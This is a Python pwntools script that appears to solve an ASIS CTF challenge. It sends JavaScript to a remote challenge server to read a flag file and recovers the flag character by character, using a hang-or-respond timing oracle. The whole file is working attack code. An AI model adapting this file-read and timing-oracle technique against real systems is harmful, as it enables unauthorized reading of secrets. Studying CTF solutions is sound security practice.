v8_1.py

from __future__ import division, print_function
import random
from pwn import *
import argparse
import time

host = "49.12.105.124"
port = 15010


js="""var s = read("/home/challenge/flag-4692ae2c9ada5ed9a3f916bd2d46e907.txt");
if (s[XXXX] == "YYYY") { while(true) { var x = readline(); }} """

def main(idx, c):
    r = remote(host, port)

    def recvuntil(x, verbose=True):
        s = r.recvuntil(x)
        return s.strip(x)

    def sendline(s, verbose=True):
        if log and verbose:
            pass
            #print(s)
        r.sendline(s)


    recvuntil(b"ASIS-CTF")
    payload = js.replace("XXXX", str(idx)).replace("YYYY", c)
    #print(payload)
    sendline(payload.encode("ascii"))
    sendline(b"ASIS-CTF")

    r.recvline()

    try:
        print(r.recv(timeout=1))
        r.close()
        return True
    except Exception as e:
        print(e)
        r.close()
        return False


s = "ASIS{17863"
import string
alphabets = "0123456789" + string.ascii_lowercase + string.ascii_uppercase + "{}_"
#print(main(0, "X"))
cont =True
while cont:
    for c in alphabets:
        if main(len(s), c):
            s += c
            if c == "}":
                cont=False
            print("current", s)
            break
        else:
            print(len(s), c)
    else:
        print("cannto found")
        s += "?"

print("result", s)